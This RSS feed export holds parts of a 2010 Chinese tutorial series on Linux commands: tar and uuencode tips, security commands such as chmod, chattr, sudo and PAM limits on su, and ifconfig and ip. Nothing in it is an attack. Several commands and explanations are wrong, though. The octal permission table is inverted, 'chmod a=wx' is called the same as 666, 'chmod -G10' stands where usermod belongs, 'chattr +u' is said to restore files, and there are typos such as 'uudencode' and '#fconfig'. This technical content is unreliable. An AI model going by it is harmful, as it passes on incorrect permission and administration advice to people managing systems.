<p>cat（cat是concatenate的缩写）命令是将几个文件处理成一个文件，并将这种处理的结果保存到一个单独的输出文件，这里我们用它来 合并邮件的文本。</p>
<p>写好邮件名称，比如叫cjkmail，然后使用下面命令：<br />
$uuencode ＜附件文件名＞ ＜附件文件名＞ &gt;&gt;cjkmail</p>
<p>这样就可以用vi编辑器写cjkmail文件，并在前面写上信的正文，然后寄出。</p>
<p>对方收到信后，把信中属于cjkmail中的内容拷贝出来，存为themail.uue。如果对方是在Windows下，就可以用WinRAR或 WinZip解压，这样就可以看到附件。</p>
<p>如果对方也使用Linux，可以用undecode命令还原：<br />
$ uudencode -o＜附件文件名＞ themail.uue</p>
<p>2.实现tar的分卷<br />
笔者想把一个378MB的文件压缩成多个63MB的文件（笔者的USB为64MB），使用下面命令：<br />
$tar czvf &#8211; dir | split -d -b 63m</p>
<p>然后合并命令：<br />
$cat x* &gt; dir.tgz</p>
<p>以上例子实际是由三个命令组合完成的，即用tar打包，用split分割，用cat合并。“tar czvf &#8211;  dir”的意思是把dir目录打包，并输出到标准输出（argv），这样就可以直接用管道输出给split。</p>
<p>3.连续执行一个命令<br />
使用watch命令，可以反复执行命令。如果和ls配合，可以达到观察某文件大小变化的效果。<br />
$watch ls －l file.name</p>
<p>4.用tar命令导出一个文件<br />
有一个tar格式的DVD文件GLvPro6.4_linux.tar，因为该文件非常大（4.7GB），如果全部解压比较麻烦，可以用下面命令 先导出readme.txt看看。<br />
tar xvf GLvPro6.4_linux.tar readme.txt</p>
<p>这样readme.txt就单独被导出了。</p>
<p>5.用tar打包一个目录时只备份其中的几个子目录<br />
tar cf &#8211;exclude home/cjh home/cao</p>
<p>这样home目录下只有cjh和cao两个子目录备份。</p>
<p>到此为止，Linux必学的60个命令已经全部介绍完了。Linux的命令行方式功能强大，如果熟练掌握了Linux的常用命令，往往只需要通过 各种技巧就可以组合构成一条复杂的命令，从而完成用户任务。Linux系统中的命令实在是太多了，不可能像在MS  DOS中把所有的命令及参数都记住。Linux系统提供了一些方法，比如可以通过“help”和“man”来查询名令。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/6018/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/6018/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/6018/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/6018/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/6018/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/6018/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux必学的60个命令(5)-网络安全</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/6014/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/6014/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:45:44 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6014</guid>
		<description><![CDATA[虽然Linux和Windows NT/2000系统一样是一个多用户的系统，但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲，如何保证Linux操作系统 安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。 passwd 1.作用 passwd命令原来修改账户的登陆密码，使用权限是所有用户。 2.格式 passwd [选项] 账户名称 3.主要参数 -l：锁定已经命名的账户名称，只有具备超级用户权限的使用者方可使用。 -u：解开账户锁定状态，只有具备超级用户权限的使用者方可使用。 -x, &#8211;maximum=DAYS：最大密码使用时间（天），只有具备超级用户权限的使用者方可使用。 -n, &#8211;minimum=DAYS：最小密码使用时间（天），只有具备超级用户权限的使用者方可使用。 -d：删除使用者的密码, 只有具备超级用户权限的使用者方可使用。 -S：检查指定使用者的密码认证种类, 只有具备超级用户权限的使用者方可使用。 4.应用实例 $ passwd Changing password for user cao. Changing password for cao (current) UNIX password: New UNIX password: Retype new UNIX password: passwd: all authentication tokens updated successfully. 从上面可以看到，使用passwd命令需要输入旧的密码，然后再输入两次新密码。 su 1.作用 su的作用是变更为其它使用者的身份，超级用户除外，需要键入该使用者的密码。 2.格式 su [...]]]></description>
			<content:encoded><![CDATA[<p>虽然Linux和Windows  NT/2000系统一样是一个多用户的系统，但是它们之间有不少重要的差别。对于很多习惯了Windows系统的管理员来讲，如何保证Linux操作系统 安全、可靠将会面临许多新的挑战。本文将重点介绍Linux系统安全的命令。<br />
passwd</p>
<p>1.作用<br />
passwd命令原来修改账户的登陆密码，使用权限是所有用户。</p>
<p>2.格式<br />
passwd [选项] 账户名称</p>
<p>3.主要参数<br />
-l：锁定已经命名的账户名称，只有具备超级用户权限的使用者方可使用。<br />
-u：解开账户锁定状态，只有具备超级用户权限的使用者方可使用。<br />
-x, &#8211;maximum=DAYS：最大密码使用时间（天），只有具备超级用户权限的使用者方可使用。<br />
-n, &#8211;minimum=DAYS：最小密码使用时间（天），只有具备超级用户权限的使用者方可使用。<br />
-d：删除使用者的密码, 只有具备超级用户权限的使用者方可使用。<br />
-S：检查指定使用者的密码认证种类, 只有具备超级用户权限的使用者方可使用。</p>
<p>4.应用实例</p>
<p>$ passwd<br />
Changing password for user cao.<br />
Changing password for cao<br />
(current) UNIX password:<br />
New UNIX password:<br />
Retype new UNIX password:<br />
passwd: all authentication tokens updated successfully.</p>
<p>从上面可以看到，使用passwd命令需要输入旧的密码，然后再输入两次新密码。<br />
<span id="more-6014"></span><br />
su</p>
<p>1.作用<br />
su的作用是变更为其它使用者的身份，超级用户除外，需要键入该使用者的密码。</p>
<p>2.格式<br />
su [选项]&#8230; [-] [USER [ARG]&#8230;]</p>
<p>3.主要参数<br />
-f ， &#8211;fast：不必读启动文件（如 csh.cshrc 等），仅用于csh或tcsh两种Shell。<br />
-l ，  &#8211;login：加了这个参数之后，就好像是重新登陆为该使用者一样，大部分环境变量（例如HOME、SHELL和USER等）都是以该使用者 （USER）为主，并且工作目录也会改变。如果没有指定USER，缺省情况是root。<br />
-m， -p ，&#8211;preserve-environment：执行su时不改变环境变数。<br />
-c <a href="http://www.iwanna.cn/tags/command/" class="st_tag internal_tag" rel="tag" title="标签 command 下的日志">command</a>：变更账号为USER的使用者，并执行指令（<a href="http://www.iwanna.cn/tags/command/" class="st_tag internal_tag" rel="tag" title="标签 command 下的日志">command</a>）后再变回原来使用者。<br />
USER：欲变更的使用者账号，ARG传入新的Shell参数。</p>
<p>4.应用实例<br />
变更账号为超级用户，并在执行df命令后还原使用者。 su -c df root</p>
<p>umask</p>
<p>1.作用<br />
umask设置用户文件和目录的文件创建缺省屏蔽值，若将此命令放入profile文件，就可控制该用户后续所建文件的存取许可。它告诉系统在创 建文件时不给谁存取许可。使用权限是所有用户。</p>
<p>2.格式<br />
umask [-p] [-S] [mode]</p>
<p>3.参数<br />
－S：确定当前的umask设置。<br />
－p：修改umask 设置。<br />
[mode]：修改数值。</p>
<p>4.说明<br />
传统Unix的umask值是022，这样就可以防止同属于该组的其它用户及别的组的用户修改该用户的文件。既然每个用户都拥有并属于一个自己的 私有组，那么这种“组保护模式”就不在需要了。严密的权限设定构成了Linux安全的基础，在权限上犯错误是致命的。需要注意的是，umask命令用来设 置进程所创建的文件的读写权限，最保险的值是0077，即关闭创建文件的进程以外的所有进程的读写权限，表示为-rw&#8212;&#8212;-。 在～/.bash_profile中，加上一行命令umask 0077可以保证每次启动Shell后, 进程的umask权限都可以被正确设定。</p>
<p>5.应用实例</p>
<p>umask -S<br />
u=rwx,g=rx,o=rx<br />
umask -p 177<br />
umask -S<br />
u=rw,g=,o=</p>
<p>上述5行命令，首先显示当前状态，然后把umask值改为177，结果只有文件所有者具有读写文件的权限，其它用户不能访问该文件。这显然是一种 非常安全的设置。</p>
<p>chgrp</p>
<p>1.作用<br />
chgrp表示修改一个或多个文件或目录所属的组。使用权限是超级用户。</p>
<p>2.格式<br />
chgrp [选项]&#8230; 组 文件&#8230;<br />
或<br />
chgrp [选项]&#8230; &#8211;reference=参考文件 文件&#8230;</p>
<p>将每个&lt;文件&gt;的所属组设定为&lt;组&gt;。</p>
<p>3.参数<br />
-c, &#8211;changes ：像 &#8211;verbose，但只在有更改时才显示结果。<br />
&#8211;dereference：会影响符号链接所指示的对象，而非符号链接本身。<br />
-h,  &#8211;no-dereference：会影响符号链接本身，而非符号链接所指示的目的地(当系统支持更改符号链接的所有者，此选项才有效)。<br />
-f, &#8211;silent, &#8211;quiet：去除大部分的错误信息。<br />
&#8211;reference=参考文件：使用&lt;参考文件&gt;的所属组，而非指定的&lt;组&gt;。<br />
-R, &#8211;recursive：递归处理所有的文件及子目录。<br />
-v, &#8211;verbose：处理任何文件都会显示信息。</p>
<p>4.应用说明<br />
该命令改变指定指定文件所属的用户组。其中group可以是用户组ID，也可以是/etc/group文件中用户组的组名。文件名是以空格分开的 要改变属组的文件列表，支持通配符。如果用户不是该文件的属主或超级用户，则不能改变该文件的组。</p>
<p>5.应用实例<br />
改变/opt/local /book/及其子目录下的所有文件的属组为book，命令如下：<br />
$ chgrp &#8211; R book /opt/local /book</p>
<p>chmod</p>
<p>1.作用<br />
chmod命令是非常重要的，用于改变文件或目录的访问权限，用户可以用它控制文件或目录的访问权限，使用权限是超级用户。</p>
<p>2.格式<br />
chmod命令有两种用法。一种是包含字母和操作符表达式的字符设定法（相对权限设定）；另一种是包含数字的数字设定法（绝对权限设定）。</p>
<p>（1）字符设定法<br />
chmod [who] [+ | - | =] [mode] 文件名</p>
<p>◆操作对象who可以是下述字母中的任一个或它们的组合<br />
u：表示用户，即文件或目录的所有者。<br />
g：表示同组用户，即与文件属主有相同组ID的所有用户。<br />
o：表示其它用户。<br />
a：表示所有用户，它是系统默认值。</p>
<p>◆操作符号<br />
+：添加某个权限。<br />
-：取消某个权限。<br />
=：赋予给定权限，并取消其它所有权限（如果有的话）。</p>
<p>◆设置mode的权限可用下述字母的任意组合<br />
r：可读。<br />
w：可写。<br />
x：可执行。<br />
X：只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x属性。<br />
s：文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u＋s”设置文件的用户ID位，“g＋s”设置组ID位。<br />
t：保存程序的文本到交换设备上。<br />
u：与文件属主拥有一样的权限。<br />
g：与和文件属主同组的用户拥有一样的权限。<br />
o：与其它用户拥有一样的权限。<br />
文件名：以空格分开的要改变权限的文件列表，支持通配符。<br />
一个命令行中可以给出多个权限方式，其间用逗号隔开。</p>
<p>（2） 数字设定法<br />
数字设定法的一般形式为： chmod [mode] 文件名</p>
<p>数字属性的格式应为3个0到7的八进制数，其顺序是(u)(g)(o)文件名，以空格分开的要改变权限的文件列表，支持通配符。</p>
<p>数字表示的权限的含义如下：0001为所有者的执行权限；0002为所有者的写权限；0004为所有者的读权限；0010为组的执行权 限；0020为组的写权限；0040为组的读权限；0100为其他人的执行权限；0200为其他人的写权限；0400为其他人的读权限；1000为粘贴位 置位；2000表示假如这个文件是可执行文件，则为组ID为位置位，否则其中文件锁定位置位；4000表示假如这个文件是可执行文件，则为用户ID为位置 位。</p>
<p>3.实例<br />
如果一个系统管理员写了一个表格(tem)让所有用户填写，那么必须授权用户对这个文件有读写权限，可以使用命令：＃chmod 666 tem</p>
<p>上面代码中，这个666数字是如何计算出来的呢？0002为所有者的写权限，0004为所有者的读权限，0020为组的写权限，0040为组的读 权限， 0200为其他人的写权限，0400为其他人的读权限，这6个数字相加就是666（注以上数字都是八进制数），结果见图1所示。</p>
<p>图1 用chmod数字方法设定文件权限</p>
<p>从图1可以看出，tem文件的权限是-rw-rw-rw-，即用户对这个文件有读写权限。</p>
<p>如果用字符权限设定使用下面命令：<br />
＃chmod a =wx tem<br />
chown</p>
<p>1.作用<br />
更改一个或多个文件或目录的属主和属组。使用权限是超级用户。</p>
<p>2.格式<br />
chown [选项] 用户或组 文件</p>
<p>3.主要参数<br />
&#8211;dereference：受影响的是符号链接所指示的对象，而非符号链接本身。<br />
-h,  &#8211;no-dereference：会影响符号链接本身，而非符号链接所指示的目的地(当系统支持更改符号链接的所有者，此选项才有效)。<br />
&#8211;from=目前所有者:目前组只当每个文件的所有者和组符合选项所指定的，才会更改所有者和组。其中一个可以省略，这已省略的属性就不需要符 合原有的属性。<br />
-f, &#8211;silent, &#8211;quiet：去除大部分的错误信息。<br />
-R, &#8211;recursive：递归处理所有的文件及子目录。<br />
-v, &#8211;verbose：处理任何文件都会显示信息。</p>
<p>4.说明<br />
chown  将指定文件的拥有者改为指定的用户或组，用户可以是用户名或用户ID；组可以是组名或组ID；文件是以空格分开的要改变权限的文件列表，支持通配符。系统 管理员经常使用chown命令，在将文件拷贝到另一个用户的目录下以后，让用户拥有使用该文件的权限。</p>
<p>5.应用实例<br />
1.把文件shiyan.c的所有者改为wan<br />
$ chown wan shiyan.c</p>
<p>2.把目录/hi及其下的所有文件和子目录的属主改成wan，属组改成users。<br />
$ chown &#8211; R wan.users /hi</p>
<p>chattr</p>
<p>1.作用<br />
修改ext2和ext3文件系统属性(attribute)，使用权限超级用户。</p>
<p>2.格式<br />
chattr [-RV] [-+=AacDdijsSu] [-v version] 文件或目录</p>
<p>3.主要参数<br />
－R：递归处理所有的文件及子目录。<br />
－V：详细显示修改内容，并打印输出。<br />
－：失效属性。<br />
＋：激活属性。<br />
= ：指定属性。<br />
A：Atime，告诉系统不要修改对这个文件的最后访问时间。<br />
S：Sync，一旦应用程序对这个文件执行了写操作，使系统立刻把修改的结果写到磁盘。<br />
a：Append  Only，系统只允许在这个文件之后追加数据，不允许任何进程覆盖或截断这个文件。如果目录具有这个属性，系统将只允许在这个目录下建立和修改文件，而不 允许删除任何文件。<br />
i：Immutable，系统不允许对这个文件进行任何的修改。如果目录具有这个属性，那么任何的进程只能修改目录之下的文件，不允许建立和删除 文件。<br />
D：检查压缩文件中的错误。<br />
d：No dump，在进行文件系统备份时，dump程序将忽略这个文件。<br />
C：Compress，系统以透明的方式压缩这个文件。从这个文件读取时，返回的是解压之后的数据；而向这个文件中写入数据时，数据首先被压缩之 后才写入磁盘。<br />
s：Secure Delete，让系统在删除这个文件时，使用0填充文件所在的区域。<br />
u：Undelete，当一个应用程序请求删除这个文件，系统会保留其数据块以便以后能够恢复删除这个文件。</p>
<p>4.说明<br />
chattr  命令的作用很大，其中一些功能是由Linux内核版本来支持的，如果Linux内核版本低于2.2，那么许多功能不能实现。同样－D检查压缩文件中的错误 的功能，需要2.5.19以上内核才能支持。另外，通过chattr命令修改属性能够提高系统的安全性，但是它并不适合所有的目录。chattr命令不能 保护/、/dev、/tmp、/var目录。</p>
<p>5.应用实例<br />
1.恢复/root目录,即子目录的所有文件<br />
# chattr -R +u/root</p>
<p>2.用chattr命令防止系统中某个关键文件被修改<br />
在Linux下，有些配置文件(passwd  ,fatab)是不允许任何人修改的，为了防止被误删除或修改，可以设定该文件的“不可修改位(immutable)”，命令如下：<br />
# chattr +i /etc/fstab</p>
<p>sudo</p>
<p>1.作用<br />
sudo是一种以限制配置文件中的命令为基础，在有限时间内给用户使用，并且记录到日志中的命令，权限是所有用户。</p>
<p>2.格式</p>
<p>sudo [-bhHpV] [-s &lt;shell&gt;] [-u &lt;用户&gt;] [指令]<br />
sudo [-klv]</p>
<p>3.主要参数</p>
<p>－b：在后台执行命令。<br />
-h：显示帮助。<br />
-H：将HOME环境变量设为新身份的HOME环境变量。<br />
-k：结束密码的有效期，即下次将需要输入密码。<br />
-l：列出当前用户可以使用的命令。<br />
-p：改变询问密码的提示符号。<br />
-s &lt;shell&gt;：执行指定的Shell。<br />
-u &lt;用户&gt;：以指定的用户为新身份，不使用时默认为root。<br />
-v：延长密码有效期5分钟。</p>
<p>4.说明<br />
sudo  命令的配置在/etc/sudoers文件中。当用户使用sudo时，需要输入口令以验证使用者身份。随后的一段时间内可以使用定义好的命令，当使用配置 文件中没有的命令时，将会有报警的记录。sudo是系统管理员用来允许某些用户以root身份运行部分/全部系统命令的程序。一个明显的用途是增强了站点 的安全性，如果需要每天以超级用户的身份做一些日常工作，经常执行一些固定的几个只有超级用户身份才能执行的命令，那么用sudo是非常适合的。</p>
<p>ps</p>
<p>1.作用<br />
ps显示瞬间进程 (process) 的动态，使用权限是所有使用者。</p>
<p>2.格式<br />
ps [options] [--help]</p>
<p>3.主要参数<br />
ps的参数非常多, 此出仅列出几个常用的参数。</p>
<p>-A：列出所有的进程。<br />
-l：显示长列表。<br />
-m：显示内存信息。<br />
-w：显示加宽可以显示较多的信息。<br />
-e：显示所有进程。<br />
a：显示终端上的所有进程,包括其它用户的进程。<br />
-au：显示较详细的信息。<br />
-aux：显示所有包含其它使用者的进程。</p>
<p>4.说明<br />
要对进程进行监测和控制，首先要了解当前进程的情况，也就是需要查看当前进程。ps命令就是最基本、也是非常强大的进程查看命令。使用该命令可以 确定有哪些进程正在运行、运行的状态、进程是否结束、进程有没有僵尸、哪些进程占用了过多的资源等。图2给出了ps-aux命令详解。大部分信息都可以通 过执行该命令得到。最常用的三个参数是u、a、x。下面就结合这三个参数详细说明ps命令的作用：ps aux</p>
<p>图2 ps-aux命令详解</p>
<p>图2第2行代码中，USER表示进程拥有者；PID表示进程标示符；%CPU表示占用的CPU使用率；%MEM占用的物理内存使用率；VSZ表示 占用的虚拟内存大小；RSS为进程占用的物理内存值；TTY为终端的次要装置号码。</p>
<p>STAT  表示进程的状态，其中D为不可中断的静止（I/O动作）；R正在执行中；S静止状态；T暂停执行；Z不存在，但暂时无法消除；W没有足够的内存分页可分 配；高优先序的进程；N低优先序的进程；L有内存分页分配并锁在内存体内 (实时系统或  I/O)。START为进程开始时间。TIME为执行的时间。COMMAND是所执行的指令。</p>
<p>4.应用实例<br />
在进行系统维护时，经常会出现内存使用量惊人，而又不知道是哪一个进程占用了大量进程的情况。除了可以使用top命令查看内存使用情况之外，还可 以使用下面的命令：<br />
ps aux | sort +5n</p>
<p>who</p>
<p>1.作用<br />
who显示系统中有哪些用户登陆系统，显示的资料包含了使用者ID、使用的登陆终端、上线时间、呆滞时间、CPU占用，以及做了些什么。  使用权限为所有用户。</p>
<p>2.格式<br />
who &#8211; [husfV] [user]</p>
<p>3.主要参数</p>
<p>-h：不要显示标题列。<br />
-u：不要显示使用者的动作/工作。<br />
-s：使用简短的格式来显示。<br />
-f：不要显示使用者的上线位置。<br />
-V：显示程序版本。</p>
<p>4.说明<br />
该命令主要用于查看当前在线上的用户情况。如果用户想和其它用户建立即时通信，比如使用talk命令，那么首先要确定的就是该用户确实在线上,不 然  talk进程就无法建立起来。又如，系统管理员希望监视每个登录的用户此时此刻的所作所为，也要使用who命令。who命令应用起来非常简单，可以比较准 确地掌握用户的情况,所以使用非常广泛。</p>
<p>动手练习</p>
<p>1.使用Linux命令检测系统入侵者<br />
安装过Mandrake Linux和Red Hat  Linux的用户都会知道，Linux系统会内置三种不同级别（标准、高、更高）的防火墙，当进行了Linux服务器的安装和一些基本的设置后，服务器应 该说是比较安全的，但是也会有黑客通过各种方法利用系统管理员的疏忽侵入系统。如何快速查找黑客非常重要。一般来说，可以使用命令查询黑客是否入侵，见表  1。</p>
<p>表1 查询黑客入侵现象的命令对应表</p>
<p>举例说明，如果黑客嗅探网络，那么它必须使网卡接口处于混杂模式，使用下面命令进行查询：</p>
<p>＃ifconfig -a<br />
eth0 Link encap:Ethernet HWaddr 00:00:E8:A0:25:86<br />
inet addr:192.168.1.7 Bcast:192.168.1.255 Mask:255.255.255.0<br />
UP BROADCAST RUNNING PROMISCUOUS MTU:1500 Metric:1<br />
&#8230;&#8230;</p>
<p>从这个命令的输出中，可以看到上面讲到的这些概念。第一行的00:00:E8:A0:25:86是mac地址，第二行的192.168.1.7是 IP地址，第四行讲的是接收数据状态，这时正在被黑客嗅探。一般而言，网卡有几种接收数据帧的状态，如Broadcast、Multicast、  Promiscuous等。Broadcast是指接收所有类型为广播报文的数据帧；Multicast是指接收特定的组播报文；Promiscuous  则是通常说的混杂模式，是指对报文中的目的硬件地址不加任何检查、全部接收的工作模式。</p>
<p>2.限制su命令的滥用<br />
我们知道，超级用户在Linux中有最大的权利，几乎所有黑客都想得到这个目标。Linux可以增加对切换到超级用户的限制。使用PAM  （Pluggable Authentication  Modules）可以禁止除在wheel组以外的任何人su成root，修改/etc/pam.d/su文件，除去屏蔽标识#。使用  /usr/sbin/usermod G10 bjecadm将bjecadm这个账号加入gid为10的组，就是wheel组。命令如下：</p>
<p>/etc/pam.d/su # 使用密码验证＃<br />
auth sufficient /lib/security/pam_wheel.so debug<br />
# 限制只有wheel组用户才可以切换到root＃<br />
auth required /lib/security/pam_wheel.so use_uid<br />
chmod -G10 bjecadm</p>
<p>另外，每当用户试图使用su命令进入系统用户时,命令将在/usr/adm/sulog文件中写一条信息,若该文件记录了大量试图用su进入 root的无效操作信息,则表明了可能有人企图破译root口令。</p>
<p>Linux命令有着强大的功能。对于Linux系统管理员来说，往往只需要通过各种安全命令技巧，组合构成安全防线。从计算机安全的角度看，世界 上没有绝对安全的计算机系统，Linux系统也不例外。</p>
<hr />
<p>© <a href="http://www.iwanna.cn">我想网</a> Akon 所有 , 2010. |
<a href="http://www.iwanna.cn/archives/2010/12/01/6014/">永久链接</a> |
<a href="http://www.iwanna.cn/archives/2010/12/01/6014/#comments">没有评论</a> |
提交到
<a rel="nofollow" target="_blank" href="http://www.google.com/reader/view/feed/http://www.iwanna.cn/archives/2010/12/01/6014/">Google Reader</a>
<a rel="nofollow" target="_blank" href="http://www.xianguo.com/subscribe.php?url=http://www.iwanna.cn/archives/2010/12/01/6014/">鲜果</a>
<a rel="nofollow" target="_blank" href="http://www.zhuaxia.com/add_channel.php?url=http://www.iwanna.cn/archives/2010/12/01/6014/">抓虾</a>
<hr />
<script type="text/javascript"><!--
google_ad_client = "pub-2057344547305288";
/* 336x280,iwanna feed,created 10/3/10 */
google_ad_slot = "9738886183";
google_ad_width = 336;
google_ad_height = 280;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<hr />
</p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iwanna.cn/archives/2010/12/01/6014/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux必学的60个命令(4)-网络操作</title>
		<link>http://www.iwanna.cn/archives/2010/12/01/6010/</link>
		<comments>http://www.iwanna.cn/archives/2010/12/01/6010/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 14:43:42 +0000</pubDate>
		<dc:creator>seasun</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.iwanna.cn/?p=6010</guid>
		<description><![CDATA[因为Linux系统是在Internet上起源和发展的，它与生俱来拥有强大的网络功能和丰富的网络应用软件，尤其是TCP/IP网络协议的实现尤为成 熟。Linux的网络命令比较多，其中一些命令像ping、 ftp、telnet、route、netstat等在其它操作系统上也能看到，但也有一些Unix/Linux系统独有的命令，如ifconfig、 finger、mail等。Linux网络操作命令的一个特点是，命令参数选项和功能很多，一个命令往往还可以实现其它命令的功能。 ifconfig 1.作用 ifconfig用于查看和更改网络接口的地址和参数，包括IP地址、网络掩码、广播地址，使用权限是超级用户。 2.格式 ifconfig -interface [options] address 3.主要参数 -interface：指定的网络接口名，如eth0和eth1。 up：激活指定的网络接口卡。 down：关闭指定的网络接口。 broadcast address：设置接口的广播地址。 pointopoint：启用点对点方式。 address：设置指定接口设备的IP地址。 netmask address：设置接口的子网掩码。 4.应用说明 ifconfig是用来设置和配置网卡的命令行工具。为了手工配置网络，这是一个必须掌握的命令。使用该命令的好处是无须重新启动机器。要赋给 eth0接口IP地址207.164.186.2，并且马上激活它，使用下面命令： #fconfig eth0 210.34.6.89 netmask 255.255.255.128 broadcast 210.34.6.127 该命令的作用是设置网卡eth0的IP地址、网络掩码和网络的本地广播地址。若运行不带任何参数的ifconfig命令，这个命令将显示机器所有 激活接口的信息。带有“-a”参数的命令则显示所有接口的信息，包括没有激活的接口。注意，用ifconfig命令配置的网络设备参数，机器重新启动以后 将会丢失。 如果要暂停某个网络接口的工作，可以使用down参数： #ifconfig eth0 down ip 1.作用 ip是iproute2软件包里面的一个强大的网络配置工具，它能够替代一些传统的网络管理工具，例如ifconfig、route等，使用权限 为超级用户。几乎所有的Linux发行版本都支持该命令。 2.格式 ip [OPTIONS] OBJECT [COMMAND [ARGUMENTS]] 3.主要参数 OPTIONS是修改ip行为或改变其输出的选项。所有的选项都是以-字符开头，分为长、短两种形式。目前，ip支持如表1所示选项。 OBJECT是要管理者获取信息的对象。目前ip认识的对象见表2所示。 表1 ip支持的选项 -V,-Version [...]]]></description>
			<content:encoded><![CDATA[<p>因为Linux系统是在Internet上起源和发展的，它与生俱来拥有强大的网络功能和丰富的网络应用软件，尤其是TCP/IP网络协议的实现尤为成 熟。Linux的网络命令比较多，其中一些命令像ping、  ftp、telnet、route、netstat等在其它操作系统上也能看到，但也有一些Unix/Linux系统独有的命令，如ifconfig、  finger、mail等。Linux网络操作命令的一个特点是，命令参数选项和功能很多，一个命令往往还可以实现其它命令的功能。<br />
ifconfig</p>
<p>1.作用<br />
ifconfig用于查看和更改网络接口的地址和参数，包括IP地址、网络掩码、广播地址，使用权限是超级用户。</p>
<p>2.格式<br />
ifconfig -interface [options] address</p>
<p>3.主要参数</p>
<p>-interface：指定的网络接口名，如eth0和eth1。<br />
up：激活指定的网络接口卡。<br />
down：关闭指定的网络接口。<br />
broadcast address：设置接口的广播地址。<br />
pointopoint：启用点对点方式。<br />
address：设置指定接口设备的IP地址。<br />
netmask address：设置接口的子网掩码。</p>
<p>4.应用说明<br />
ifconfig是用来设置和配置网卡的命令行工具。为了手工配置网络，这是一个必须掌握的命令。使用该命令的好处是无须重新启动机器。要赋给 eth0接口IP地址207.164.186.2，并且马上激活它，使用下面命令：<br />
#fconfig eth0 210.34.6.89 netmask 255.255.255.128 broadcast  210.34.6.127<br />
<span id="more-6010"></span><br />
该命令的作用是设置网卡eth0的IP地址、网络掩码和网络的本地广播地址。若运行不带任何参数的ifconfig命令，这个命令将显示机器所有 激活接口的信息。带有“-a”参数的命令则显示所有接口的信息，包括没有激活的接口。注意，用ifconfig命令配置的网络设备参数，机器重新启动以后 将会丢失。<br />
如果要暂停某个网络接口的工作，可以使用down参数：<br />
#ifconfig eth0 down</p>
<p>ip</p>
<p>1.作用<br />
ip是iproute2软件包里面的一个强大的网络配置工具，它能够替代一些传统的网络管理工具，例如ifconfig、route等，使用权限 为超级用户。几乎所有的Linux发行版本都支持该命令。</p>
<p>2.格式<br />
ip [OPTIONS] OBJECT [<a href="http://www.iwanna.cn/tags/command/" class="st_tag internal_tag" rel="tag" title="标签 command 下的日志">COMMAND</a> [ARGUMENTS]]</p>
<p>3.主要参数<br />
OPTIONS是修改ip行为或改变其输出的选项。所有的选项都是以-字符开头，分为长、短两种形式。目前，ip支持如表1所示选项。</p>
<p>OBJECT是要管理者获取信息的对象。目前ip认识的对象见表2所示。</p>
<p>表1 ip支持的选项</p>
<p>-V,-Version 打印ip的版本并退出。<br />
-s,-stats,-statistics 输出更为详尽的信息。如果这个选项出现两次或多次，则输出的信息将更为详尽。<br />
-f,-family  这个选项后面接协议种类，包括inet、inet6或link，强调使用的协议种类。如果没有足够的信息告诉ip使用的协议种类，ip就会使用默认值 inet或any。link比较特殊，它表示不涉及任何网络协议。<br />
-4 是-family inet的简写。<br />
-6 是-family inet6的简写。<br />
-0 是-family link的简写。<br />
-o,-oneline 对每行记录都使用单行输出，回行用字符代替。如果需要使用wc、grep等工具处理ip的输出，则会用到这个选项。<br />
-r,-resolve 查询域名解析系统，用获得的主机名代替主机IP地址</p>
<p>COMMAND  设置针对指定对象执行的操作，它和对象的类型有关。一般情况下，ip支持对象的增加(add)、删除(delete)和展示(show或list)。有些 对象不支持这些操作，或者有其它的一些命令。对于所有的对象，用户可以使用help命令获得帮助。这个命令会列出这个对象支持的命令和参数的语法。如果没 有指定对象的操作命令，ip会使用默认的命令。一般情况下，默认命令是list，如果对象不能列出，就会执行help命令。</p>
<p>ARGUMENTS  是命令的一些参数，它们倚赖于对象和命令。ip支持两种类型的参数：flag和parameter。flag由一个关键词组成；parameter由一个 关键词加一个数值组成。为了方便，每个命令都有一个可以忽略的默认参数。例如，参数dev是ip link命令的默认参数，因此ip link ls  eth0等于ip link ls dev eth0。我们将在后面的详细介绍每个命令的使用，命令的默认参数将使用default标出。</p>
<p>4.应用实例<br />
添加IP地址192.168.2.2/24到eth0网卡上：<br />
#ip addr add 192.168.1.1/24 dev eth0</p>
<p>丢弃源地址属于192.168.2.0/24网络的所有数据报：<br />
#ip rule add from 192.168.2.0/24 prio 32777 reject</p>
<p>ping</p>
